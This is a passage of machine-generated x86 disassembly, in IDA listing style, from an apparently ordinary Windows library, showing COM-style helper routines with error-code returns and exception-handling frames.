jnz short loc_69B405F2
call sub_69B4A73D
jmp short loc_69B40625
; ---------------------------------------------------------------------------
loc_69B405F2: ; CODE XREF: sub_69B405D3+16j
call sub_69B4A0ED
jmp short loc_69B40625
; ---------------------------------------------------------------------------
loc_69B405F9: ; CODE XREF: sub_69B405D3+Dj
push esi
mov esi, [ebp+arg_4]
cmp dword ptr [esi], 0
push esi
jnz short loc_69B4061B
call sub_69B49F0B
jmp short loc_69B40620
; ---------------------------------------------------------------------------
loc_69B4060A: ; CODE XREF: sub_69B405D3+4Fj
xor ecx, ecx
mov cl, [eax+0Bh]
and ecx, 1Fh
cmp ecx, [edi+18h]
jz short loc_69B40624
mov ecx, [ebp+arg_0]
push esi
loc_69B4061B: ; CODE XREF: sub_69B405D3+2Ej
call sub_69B47DCC
loc_69B40620: ; CODE XREF: sub_69B405D3+35j
test eax, eax
jnz short loc_69B4060A
loc_69B40624: ; CODE XREF: sub_69B405D3+42j
pop esi
loc_69B40625: ; CODE XREF: sub_69B405D3+1Dj
; sub_69B405D3+24j
pop edi
pop ebp
retn 8
sub_69B405D3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B4062A proc near ; CODE XREF: sub_69B3B7BC+32j
; sub_69B745C5+3Ep
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push [ebp+arg_8]
mov esi, [ebp+arg_0]
push [ebp+arg_4]
lea ecx, [esi+4]
push esi
call sub_69B2CE84
test eax, eax
jz short loc_69B40653
push [ebp+arg_8]
lea ecx, [esi+0Ch]
push [ebp+arg_4]
push esi
call sub_69B87FE8
loc_69B40653: ; CODE XREF: sub_69B4062A+18j
pop esi
pop ebp
retn 0Ch
sub_69B4062A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B40658 proc near ; CODE XREF: sub_69B43BE2+Cp
var_18 = byte ptr -18h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
push ebx
call dword_69B92948
xor ebx, ebx
cmp eax, ebx
mov [ebp+var_4], eax
jnz short loc_69B40675
mov eax, 80004005h
jmp short loc_69B406D8
; ---------------------------------------------------------------------------
loc_69B40675: ; CODE XREF: sub_69B40658+14j
mov ecx, [ebp+arg_4]
cmp ecx, ebx
mov [ebp+var_8], ebx
jnz short loc_69B40688
mov [ebp+var_8], 80070057h
jmp short loc_69B406CC
; ---------------------------------------------------------------------------
loc_69B40688: ; CODE XREF: sub_69B40658+25j
push esi
mov esi, [ebp+arg_0]
mov eax, [esi+4]
cmp eax, ebx
jz short loc_69B406C9
push edi
push eax
push [ebp+var_4]
lea ecx, [ebp+var_18]
call sub_69B3FC21
mov edi, [esi+4]
mov [ebp+arg_0], ebx
jmp short loc_69B406A9
; ---------------------------------------------------------------------------
loc_69B406A8: ; CODE XREF: sub_69B40658+5Fj
inc ebx
loc_69B406A9: ; CODE XREF: sub_69B40658+4Ej
mov eax, [esi]
lea ecx, [ebp+arg_0]
push ecx
mov ecx, esi
push edi
call dword ptr [eax+14h]
test eax, eax
jnz short loc_69B406A8
mov eax, [ebp+arg_4]
lea ecx, [ebp+var_18]
mov [eax], ebx
call sub_69B18EBA
pop edi
jmp short loc_69B406CB
; ---------------------------------------------------------------------------
loc_69B406C9: ; CODE XREF: sub_69B40658+39j
mov [ecx], ebx
loc_69B406CB: ; CODE XREF: sub_69B40658+6Fj
pop esi
loc_69B406CC: ; CODE XREF: sub_69B40658+2Ej
push [ebp+var_4]
call dword_69B92944
mov eax, [ebp+var_8]
loc_69B406D8: ; CODE XREF: sub_69B40658+1Bj
pop ebx
leave
retn 8
sub_69B40658 endp
; =============== S U B R O U T I N E =======================================
sub_69B406DD proc near ; CODE XREF: sub_69B43BCA+10p
push 30h
push offset dword_69B407E0
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor edi, edi
cmp eax, edi
jnz short loc_69B40702
mov eax, 80004005h
jmp loc_69B407D2
; ---------------------------------------------------------------------------
loc_69B40702: ; CODE XREF: sub_69B406DD+19j
mov [ebp-20h], edi
cmp [ebp+0Ch], edi
jge short loc_69B40711
mov eax, [ebp+10h]
mov [eax], edi
jmp short loc_69B40730
; ---------------------------------------------------------------------------
loc_69B40711: ; CODE XREF: sub_69B406DD+2Bj
mov ebx, [ebp+10h]
cmp ebx, edi
jnz short loc_69B40724
mov dword ptr [ebp-20h], 80070057h
jmp loc_69B407C1
; ---------------------------------------------------------------------------
loc_69B40724: ; CODE XREF: sub_69B406DD+39j
mov [ebx], edi
mov esi, [ebp+8]
mov eax, [esi+4]
cmp eax, edi
jnz short loc_69B4073C
loc_69B40730: ; CODE XREF: sub_69B406DD+32j
mov dword ptr [ebp-20h], 1
jmp loc_69B407C1
; ---------------------------------------------------------------------------
loc_69B4073C: ; CODE XREF: sub_69B406DD+51j
push eax
push dword ptr [ebp-1Ch]
lea ecx, [ebp-30h]
call sub_69B3FC21
mov [ebp-4], edi
mov [ebp-34h], edi
mov [ebp-38h], edi
mov edi, [esi+4]
mov [ebp-3Ch], edi
loc_69B40757: ; CODE XREF: sub_69B406DD+98j
mov eax, [esi]
lea ecx, [ebp-34h]
push ecx
push edi
mov ecx, esi
call dword ptr [eax+14h]
mov [ebp-40h], eax
test eax, eax
jz short loc_69B40786
mov ecx, [ebp-38h]
cmp ecx, [ebp+0Ch]
jge short loc_69B40777
inc dword ptr [ebp-38h]
jmp short loc_69B40757
; ---------------------------------------------------------------------------
loc_69B40777: ; CODE XREF: sub_69B406DD+93j
test eax, eax
jz short loc_69B40786
mov ecx, eax
call sub_69B48B01
mov [ebx], eax
jmp short loc_69B407B3
; ---------------------------------------------------------------------------
loc_69B40786: ; CODE XREF: sub_69B406DD+8Bj
; sub_69B406DD+9Cj
and dword ptr [ebx], 0
mov dword ptr [ebp-20h], 1
jmp short loc_69B407B3
; ---------------------------------------------------------------------------
loc_69B40792: ; DATA XREF: .text:69B407E4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B4079B: ; DATA XREF: .text:69B407E8o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-20h], eax
loc_69B407B3: ; CODE XREF: sub_69B406DD+A7j
; sub_69B406DD+B3j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-30h]
call sub_69B18EBA
xor edi, edi
loc_69B407C1: ; CODE XREF: sub_69B406DD+42j
; sub_69B406DD+5Aj
cmp [ebp-1Ch], edi
jz short loc_69B407CF
push dword ptr [ebp-1Ch]
call dword_69B92944
loc_69B407CF: ; CODE XREF: sub_69B406DD+E7j
mov eax, [ebp-20h]
loc_69B407D2: ; CODE XREF: sub_69B406DD+20j
call sub_69B1853C
retn 0Ch
sub_69B406DD endp
; ---------------------------------------------------------------------------
align 10h
dword_69B407E0 dd 0FFFFFFFFh dd offset loc_69B40792
dd offset loc_69B4079B
; =============== S U B R O U T I N E =======================================
sub_69B407EC proc near ; CODE XREF: sub_69B43BF6+Cp
push 24h
push offset dword_69B408B0
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor ebx, ebx
cmp eax, ebx
jnz short loc_69B40811
mov eax, 80004005h
jmp loc_69B408A6
; ---------------------------------------------------------------------------
loc_69B40811: ; CODE XREF: sub_69B407EC+19j
mov [ebp-20h], ebx
mov esi, [ebp+0Ch]
cmp esi, ebx
jnz short loc_69B40822
mov esi, 80070057h
jmp short loc_69B4089B
; ---------------------------------------------------------------------------
loc_69B40822: ; CODE XREF: sub_69B407EC+2Dj
mov [esi], ebx
mov edi, [ebp+8]
mov eax, [edi+4]
cmp eax, ebx
jnz short loc_69B40833
xor esi, esi
inc esi
jmp short loc_69B4089B
; ---------------------------------------------------------------------------
loc_69B40833: ; CODE XREF: sub_69B407EC+40j
push eax
push dword ptr [ebp-1Ch]
lea ecx, [ebp-30h]
call sub_69B3FC21
mov [ebp-4], ebx
push edi
lea ecx, [edi+8]
call sub_69B54740
mov ecx, eax
mov [ebp-34h], ecx
cmp ecx, ebx
jz short loc_69B4085D
call sub_69B48B01
mov [esi], eax
jmp short loc_69B40866
; ---------------------------------------------------------------------------
loc_69B4085D: ; CODE XREF: sub_69B407EC+66j
mov [esi], ebx
mov dword ptr [ebp-20h], 1
loc_69B40866: ; CODE XREF: sub_69B407EC+6Fj
or dword ptr [ebp-4], 0FFFFFFFFh
mov esi, [ebp-20h]
jmp short loc_69B40893
; ---------------------------------------------------------------------------
loc_69B4086F: ; DATA XREF: .text:69B408B4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B40878: ; DATA XREF: .text:69B408B8o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov esi, eax
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B40893: ; CODE XREF: sub_69B407EC+81j
lea ecx, [ebp-30h]
call sub_69B18EBA
loc_69B4089B: ; CODE XREF: sub_69B407EC+34j
; sub_69B407EC+45j
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, esi
loc_69B408A6: ; CODE XREF: sub_69B407EC+20j
call sub_69B1853C
retn 8
sub_69B407EC endp
; ---------------------------------------------------------------------------
align 10h
dword_69B408B0 dd 0FFFFFFFFh dd offset loc_69B4086F
dd offset loc_69B40878
; =============== S U B R O U T I N E =======================================
sub_69B408BC proc near ; CODE XREF: sub_69B43C0A+Cp
push 24h
push offset dword_69B40970
call sub_69B19C5C
mov esi, ecx
call dword_69B92948
mov [ebp-1Ch], eax
xor ebx, ebx
cmp eax, ebx
jnz short loc_69B408E3
mov eax, 80004005h
jmp loc_69B40968
; ---------------------------------------------------------------------------
loc_69B408E3: ; CODE XREF: sub_69B408BC+1Bj
mov edi, [ebp+0Ch]
cmp edi, ebx
jnz short loc_69B408F1
mov ebx, 80070057h
jmp short loc_69B4095D
; ---------------------------------------------------------------------------
loc_69B408F1: ; CODE XREF: sub_69B408BC+2Cj
mov eax, [esi+4]
cmp eax, ebx
jz short loc_69B40958
push eax
push dword ptr [ebp-1Ch]
lea ecx, [ebp-2Ch]
call sub_69B3FC21
and dword ptr [ebp-4], 0
mov ecx, [esi+4]
mov eax, [ecx]
call dword ptr [eax+0B4h]
mov [ebp-30h], eax
mov eax, [eax+3Ch]
mov [ebp-34h], eax
push eax
push esi
push dword ptr [ebp+8]
call sub_69B54B2A
mov [edi], eax
jmp short loc_69B4094A
; ---------------------------------------------------------------------------
loc_69B4092A: ; DATA XREF: .text:69B40974o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B40933: ; DATA XREF: .text:69B40978o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov ebx, eax
loc_69B4094A: ; CODE XREF: sub_69B408BC+6Cj
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-2Ch]
call sub_69B18EBA
jmp short loc_69B4095D
; ---------------------------------------------------------------------------
loc_69B40958: ; CODE XREF: sub_69B408BC+3Aj
mov [edi], ebx
xor ebx, ebx
inc ebx
loc_69B4095D: ; CODE XREF: sub_69B408BC+33j
; sub_69B408BC+9Aj
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, ebx
loc_69B40968: ; CODE XREF: sub_69B408BC+22j
call sub_69B1853C
retn 8
sub_69B408BC endp
; ---------------------------------------------------------------------------
dword_69B40970 dd 0FFFFFFFFh dd offset loc_69B4092A
dd offset loc_69B40933
; =============== S U B R O U T I N E =======================================
sub_69B4097C proc near ; DATA XREF: .text:69B14C3Co
push 28h
push offset dword_69B40A60
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor esi, esi
cmp eax, esi
jnz short loc_69B409A1
mov eax, 80004005h
jmp loc_69B40A55
; ---------------------------------------------------------------------------
loc_69B409A1: ; CODE XREF: sub_69B4097C+19j
mov [ebp-20h], esi
cmp [ebp+0Ch], esi
jz short loc_69B409B0
mov ebx, [ebp+10h]
cmp ebx, esi
jnz short loc_69B409BC
loc_69B409B0: ; CODE XREF: sub_69B4097C+2Bj
mov dword ptr [ebp-20h], 80070057h
jmp loc_69B40A49
; ---------------------------------------------------------------------------
loc_69B409BC: ; CODE XREF: sub_69B4097C+32j
mov [ebx], esi
mov edi, [ebp+8]
mov eax, [edi+20h]
cmp eax, esi
jnz short loc_69B409D1
mov dword ptr [ebp-20h], 1
jmp short loc_69B40A49
; ---------------------------------------------------------------------------
loc_69B409D1: ; CODE XREF: sub_69B4097C+4Aj
push eax
push dword ptr [ebp-1Ch]
lea ecx, [ebp-30h]
call sub_69B3FC21
mov [ebp-4], esi
mov esi, [edi+20h]
mov [ebp-34h], esi
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0B4h]
push eax ; int
push dword ptr [edi+34h] ; int
push dword ptr [ebp+0Ch] ; lpString
mov ecx, esi
call sub_69B49D8E
mov [ebp-38h], eax
test eax, eax
jz short loc_69B40A10
mov ecx, eax
call sub_69B48B01
mov [ebx], eax
jmp short loc_69B40A3D
; ---------------------------------------------------------------------------
loc_69B40A10: ; CODE XREF: sub_69B4097C+87j
and dword ptr [ebx], 0
mov dword ptr [ebp-20h], 1
jmp short loc_69B40A3D
; ---------------------------------------------------------------------------
loc_69B40A1C: ; DATA XREF: .text:69B40A64o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B40A25: ; DATA XREF: .text:69B40A68o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-20h], eax
loc_69B40A3D: ; CODE XREF: sub_69B4097C+92j
; sub_69B4097C+9Ej
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-30h]
call sub_69B18EBA
loc_69B40A49: ; CODE XREF: sub_69B4097C+3Bj
; sub_69B4097C+53j
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-20h]
loc_69B40A55: ; CODE XREF: sub_69B4097C+20j
call sub_69B1853C
retn 0Ch
sub_69B4097C endp
; ---------------------------------------------------------------------------
align 10h
dword_69B40A60 dd 0FFFFFFFFh dd offset loc_69B40A1C
dd offset loc_69B40A25
; =============== S U B R O U T I N E =======================================
sub_69B40A6C proc near ; DATA XREF: .text:69B14C44o
push 2Ch
push offset dword_69B40B80
call sub_69B19C5C
call dword_69B92948
mov esi, eax
mov [ebp-1Ch], esi
xor ebx, ebx
cmp esi, ebx
jz short loc_69B40ADA
mov [ebp-20h], ebx
cmp [ebp+0Ch], ebx
jz short loc_69B40AB2
mov eax, [ebp+10h]
cmp eax, ebx
jz short loc_69B40A9A
mov [eax], ebx
loc_69B40A9A: ; CODE XREF: sub_69B40A6C+2Aj
mov edi, [ebp+8]
mov eax, [edi+20h]
cmp eax, ebx
jnz short loc_69B40AAC
xor esi, esi
inc esi
jmp loc_69B40B67
; ---------------------------------------------------------------------------
loc_69B40AAC: ; CODE XREF: sub_69B40A6C+36j
cmp dword ptr [edi+34h], 0Fh
jz short loc_69B40ABC
loc_69B40AB2: ; CODE XREF: sub_69B40A6C+23j
mov esi, 80070057h
jmp loc_69B40B67
; ---------------------------------------------------------------------------
loc_69B40ABC: ; CODE XREF: sub_69B40A6C+44j
push eax
push esi
lea ecx, [ebp-34h]
call sub_69B3FBF7
cmp [ebp-30h], bl
jnz short loc_69B40AE4
lea ecx, [ebp-34h]
call sub_69B4637D
push esi
call dword_69B92944
loc_69B40ADA: ; CODE XREF: sub_69B40A6C+1Bj
mov eax, 80004005h
jmp loc_69B40B72
; ---------------------------------------------------------------------------
loc_69B40AE4: ; CODE XREF: sub_69B40A6C+5Dj
mov [ebp-4], ebx
mov esi, [edi+20h]
mov [ebp-38h], esi
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0B4h]
push eax ; int
push dword ptr [edi+34h] ; int
push dword ptr [ebp+0Ch] ; lpString
mov ecx, esi
call sub_69B49D8E
mov edi, eax
mov [ebp-3Ch], edi
cmp edi, ebx
jz short loc_69B40B2B
cmp [ebp+10h], ebx
jz short loc_69B40B1F
mov ecx, edi
call sub_69B48B01
mov ecx, [ebp+10h]
mov [ecx], eax
loc_69B40B1F: ; CODE XREF: sub_69B40A6C+A5j
push 1
push edi
mov ecx, esi
call sub_69B3D570
jmp short loc_69B40B32
; ---------------------------------------------------------------------------
loc_69B40B2B: ; CODE XREF: sub_69B40A6C+A0j
mov dword ptr [ebp-20h], 1
loc_69B40B32: ; CODE XREF: sub_69B40A6C+BDj
or dword ptr [ebp-4], 0FFFFFFFFh
mov esi, [ebp-20h]
jmp short loc_69B40B5F
; ---------------------------------------------------------------------------
loc_69B40B3B: ; DATA XREF: .text:69B40B84o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B40B44: ; DATA XREF: .text:69B40B88o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov esi, eax
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B40B5F: ; CODE XREF: sub_69B40A6C+CDj
lea ecx, [ebp-34h]
call sub_69B4637D
loc_69B40B67: ; CODE XREF: sub_69B40A6C+3Bj
; sub_69B40A6C+4Bj
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, esi
loc_69B40B72: ; CODE XREF: sub_69B40A6C+73j
call sub_69B1853C
retn 0Ch
sub_69B40A6C endp
; ---------------------------------------------------------------------------
align 10h
dword_69B40B80 dd 0FFFFFFFFh dd offset loc_69B40B3B
dd offset loc_69B40B44
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B40B8C(LPCWSTR lpString, int)
sub_69B40B8C proc near ; CODE XREF: sub_69B40BD6+73p
; sub_69B40CBC+92p
lpString = dword ptr 4
arg_4 = dword ptr 8
mov eax, [edi]
push esi
mov ecx, edi
call dword ptr [eax+0B4h]
mov esi, eax
xor eax, eax
cmp ebx, eax
jz short loc_69B40BB0
cmp [ebx], ax
jz short loc_69B40BB0
mov ecx, [esi+70h]
push 0FFFFFFFFh ; int
push ebx ; lpString
push eax ; int
call sub_69B4D394
loc_69B40BB0: ; CODE XREF: sub_69B40B8C+11j
; sub_69B40B8C+16j
push eax
push [esp+8+lpString] ; lpString
call ds:lstrlenW ; lstrlenW
push eax
push [esp+0Ch+lpString]
call sub_69B2FA09
push esi
push [esp+8+arg_4]
mov ecx, edi
push eax
call sub_69B49C1F
pop esi
retn 8
sub_69B40B8C endp
; =============== S U B R O U T I N E =======================================
sub_69B40BD6 proc near ; DATA XREF: .text:69B14C50o
push 28h
push offset dword_69B40CB0
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor edi, edi
cmp eax, edi
jnz short loc_69B40BFB
mov eax, 80004005h
jmp loc_69B40CA2
; ---------------------------------------------------------------------------
loc_69B40BFB: ; CODE XREF: sub_69B40BD6+19j
mov [ebp-20h], edi
cmp [ebp+0Ch], edi
jz short loc_69B40C0A
mov esi, [ebp+14h]
cmp esi, edi
jnz short loc_69B40C16
loc_69B40C0A: ; CODE XREF: sub_69B40BD6+2Bj
mov dword ptr [ebp-20h], 80070057h
jmp loc_69B40C96
; ---------------------------------------------------------------------------
loc_69B40C16: ; CODE XREF: sub_69B40BD6+32j
mov [esi], edi
mov ebx, [ebp+8]
mov eax, [ebx+20h]
cmp eax, edi
jnz short loc_69B40C2B
mov dword ptr [ebp-20h], 1
jmp short loc_69B40C96
; ---------------------------------------------------------------------------
loc_69B40C2B: ; CODE XREF: sub_69B40BD6+4Aj
push eax
push dword ptr [ebp-1Ch]
lea ecx, [ebp-30h]
call sub_69B3FC21
mov [ebp-4], edi
mov edi, [ebx+20h]
mov [ebp-34h], edi
push dword ptr [ebx+34h] ; int
push dword ptr [ebp+0Ch] ; lpString
mov ebx, [ebp+10h]
call sub_69B40B8C
mov ecx, eax
mov [ebp-38h], ecx
test ecx, ecx
jz short loc_69B40C60
call sub_69B48B01
mov [esi], eax
jmp short loc_69B40C8A
; ---------------------------------------------------------------------------
loc_69B40C60: ; CODE XREF: sub_69B40BD6+7Fj
mov dword ptr [ebp-20h], 1
jmp short loc_69B40C8A
; ---------------------------------------------------------------------------
loc_69B40C69: ; DATA XREF: .text:69B40CB4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B40C72: ; DATA XREF: .text:69B40CB8o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-20h], eax
loc_69B40C8A: ; CODE XREF: sub_69B40BD6+88j
; sub_69B40BD6+91j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-30h]
call sub_69B18EBA
loc_69B40C96: ; CODE XREF: sub_69B40BD6+3Bj
; sub_69B40BD6+53j
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-20h]
loc_69B40CA2: ; CODE XREF: sub_69B40BD6+20j
call sub_69B1853C
retn 10h
sub_69B40BD6 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B40CB0 dd 0FFFFFFFFh dd offset loc_69B40C69
dd offset loc_69B40C72
; =============== S U B R O U T I N E =======================================
sub_69B40CBC proc near ; DATA XREF: .text:69B14C54o
push 2Ch
push offset dword_69B40DC8
call sub_69B19C5C
call dword_69B92948
mov esi, eax
mov [ebp-1Ch], esi
xor ebx, ebx
cmp esi, ebx
jz short loc_69B40D30
mov [ebp-20h], ebx
cmp [ebp+0Ch], ebx
jz short loc_69B40D06
mov eax, [ebp+14h]
cmp eax, ebx
jz short loc_69B40D06
mov [eax], ebx
mov edi, [ebp+8]
mov eax, [edi+20h]
cmp eax, ebx
jnz short loc_69B40D00
mov dword ptr [ebp-20h], 1
jmp loc_69B40DB0
; ---------------------------------------------------------------------------
loc_69B40D00: ; CODE XREF: sub_69B40CBC+36j
cmp dword ptr [edi+34h], 0Fh
jz short loc_69B40D12
loc_69B40D06: ; CODE XREF: sub_69B40CBC+23j
; sub_69B40CBC+2Aj
mov dword ptr [ebp-20h], 80070057h
jmp loc_69B40DB0
; ---------------------------------------------------------------------------
loc_69B40D12: ; CODE XREF: sub_69B40CBC+48j
push eax
push esi
lea ecx, [ebp-34h]
call sub_69B3FBF7
cmp [ebp-30h], bl
jnz short loc_69B40D3A
lea ecx, [ebp-34h]
call sub_69B4637D
push esi
call dword_69B92944
loc_69B40D30: ; CODE XREF: sub_69B40CBC+1Bj
mov eax, 80004005h
jmp loc_69B40DBC
; ---------------------------------------------------------------------------
loc_69B40D3A: ; CODE XREF: sub_69B40CBC+63j
mov [ebp-4], ebx
mov esi, [edi+20h]
mov [ebp-38h], esi
push dword ptr [edi+34h] ; int
push dword ptr [ebp+0Ch] ; lpString
mov edi, esi
mov ebx, [ebp+10h]
call sub_69B40B8C
mov edi, eax
mov [ebp-3Ch], edi
test edi, edi
jz short loc_69B40D74
mov ecx, edi
call sub_69B48B01
mov ecx, [ebp+14h]
mov [ecx], eax
push 1
push edi
mov ecx, esi
call sub_69B3D570
jmp short loc_69B40DA4
; ---------------------------------------------------------------------------
loc_69B40D74: ; CODE XREF: sub_69B40CBC+9Ej
mov eax, [ebp+14h]
and dword ptr [eax], 0
mov dword ptr [ebp-20h], 1
jmp short loc_69B40DA4
; ---------------------------------------------------------------------------
loc_69B40D83: ; DATA XREF: .text:69B40DCCo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B40D8C: ; DATA XREF: .text:69B40DD0o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-20h], eax
loc_69B40DA4: ; CODE XREF: sub_69B40CBC+B6j
; sub_69B40CBC+C5j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-34h]
call sub_69B4637D
loc_69B40DB0: ; CODE XREF: sub_69B40CBC+3Fj
; sub_69B40CBC+51j
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-20h]
loc_69B40DBC: ; CODE XREF: sub_69B40CBC+79j
call sub_69B1853C
retn 10h
sub_69B40CBC endp
; ---------------------------------------------------------------------------
align 8
dword_69B40DC8 dd 0FFFFFFFFh dd offset loc_69B40D83
dd offset loc_69B40D8C
; =============== S U B R O U T I N E =======================================
sub_69B40DD4 proc near ; CODE XREF: sub_69B437E7+Fp
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
mov dword ptr [esi+8], offset dword_69B98AD4
push off_69B98AD8
lea ecx, [esi+0Ch]
call sub_69B19B94
call sub_69B1E031
mov eax, esi
pop esi
retn 4
sub_69B40DD4 endp
; =============== S U B R O U T I N E =======================================
sub_69B40DFB proc near ; CODE XREF: sub_69B41554+25p
; sub_69B41BEC+25p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, [esp+8+arg_4]
mov esi, ecx
lea ecx, [edi+0Ch]
call sub_69B87FDC
push eax
push [esp+0Ch+arg_0]
lea ecx, [esi+8]
call sub_69B1A8C7
push dword ptr [edi+1Ch]
mov ecx, esi
push 0
push [esp+10h+arg_0]
call sub_69B4639C
pop edi
mov eax, esi
pop esi
retn 8
sub_69B40DFB endp
; =============== S U B R O U T I N E =======================================
sub_69B40E2F proc near ; CODE XREF: sub_69B4122C+23p
; sub_69B41290+2Dp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, [esp+8+arg_4]
mov esi, ecx
lea ecx, [edi+0Ch]
call sub_69B87FDC
push eax
push [esp+0Ch+arg_0]
lea ecx, [esi+4]
call sub_69B1A8C7
push dword ptr [edi+1Ch]
mov ecx, esi
push 0
push [esp+10h+arg_0]
call sub_69B18B65
pop edi
mov eax, esi
pop esi
retn 8
sub_69B40E2F endp
; =============== S U B R O U T I N E =======================================
sub_69B40E63 proc near ; CODE XREF: sub_69B40E6F+5Ap
; sub_69B4389D+20p
push 0
add ecx, 1Ch
push ecx
call sub_69B17320
retn
sub_69B40E63 endp
; =============== S U B R O U T I N E =======================================
sub_69B40E6F proc near ; CODE XREF: sub_69B4386B+5j
; sub_69B4387F+5j ...
push 38h
push offset dword_69B40F70
call sub_69B19C5C
mov esi, [ebp+8]
lea edi, [esi+0Ch]
mov ecx, edi
call sub_69B1906C
mov [ebp-1Ch], eax
test eax, eax
jnz loc_69B40F61
call dword_69B92948
mov [ebp-20h], eax
test eax, eax
jnz short loc_69B40EAA
mov eax, 80004005h
jmp loc_69B40F64
; ---------------------------------------------------------------------------
loc_69B40EAA: ; CODE XREF: sub_69B40E6F+2Fj
mov ecx, edi
call sub_69B87FDC
push eax
push dword ptr [ebp-20h]
lea ecx, [ebp-2Ch]
call sub_69B1A8C7
and dword ptr [ebp-4], 0
mov ebx, [esi+14h]
mov [ebp-30h], ebx
mov ecx, esi
call sub_69B40E63
test bl, 2
jz short loc_69B40F2A
test bl, 4
mov dword ptr [ebp-34h], offset dword_69B95AA0
jnz short loc_69B40EE6
mov dword ptr [ebp-34h], offset dword_69B95A90
loc_69B40EE6: ; CODE XREF: sub_69B40E6F+6Ej
xor edi, edi
mov [ebp-38h], edi
loc_69B40EEB: ; CODE XREF: sub_69B40E6F+B9j
cmp dword ptr [ebp-38h], 4
jge short loc_69B40F0E
mov eax, [ebp-34h]
cmp [eax], edi
jnz short loc_69B40F21
push edi
push esi
push eax
call dword_69B92950 ; InterlockedCompareExchange
test eax, eax
jnz short loc_69B40F21
call sub_69B2C65C
cmp dword ptr [ebp-38h], 4
loc_69B40F0E: ; CODE XREF: sub_69B40E6F+80j
jnz short loc_69B40F46
mov [ebp-3Ch], esi
mov [ebp-40h], esi
cmp esi, edi
jz short loc_69B40F46
lea ecx, [esi+0Ch]
mov eax, [ecx]
jmp short loc_69B40F34
; ---------------------------------------------------------------------------
loc_69B40F21: ; CODE XREF: sub_69B40E6F+87j
; sub_69B40E6F+94j
add dword ptr [ebp-34h], 4
inc dword ptr [ebp-38h]
jmp short loc_69B40EEB
; ---------------------------------------------------------------------------
loc_69B40F2A: ; CODE XREF: sub_69B40E6F+62j
mov [ebp-44h], esi
mov [ebp-48h], esi
mov eax, [edi]
mov ecx, edi
loc_69B40F34: ; CODE XREF: sub_69B40E6F+B0j
push 1
call dword ptr [eax]
jmp short loc_69B40F46
; ---------------------------------------------------------------------------
loc_69B40F3A: ; DATA XREF: .text:69B40F74o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B40F43: ; DATA XREF: .text:69B40F78o
mov esp, [ebp-18h]
loc_69B40F46: ; CODE XREF: sub_69B40E6F:loc_69B40F0Ej
; sub_69B40E6F+A9j ...
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-2Ch]
call sub_69B1976C
cmp dword ptr [ebp-20h], 0
jz short loc_69B40F61
push dword ptr [ebp-20h]
call dword_69B92944
loc_69B40F61: ; CODE XREF: sub_69B40E6F+1Ej
; sub_69B40E6F+E7j
mov eax, [ebp-1Ch]
loc_69B40F64: ; CODE XREF: sub_69B40E6F+36j
call sub_69B1853C
retn 4
sub_69B40E6F endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
dword_69B40F70 dd 0FFFFFFFFh dd offset loc_69B40F3A
dd offset loc_69B40F43
; =============== S U B R O U T I N E =======================================
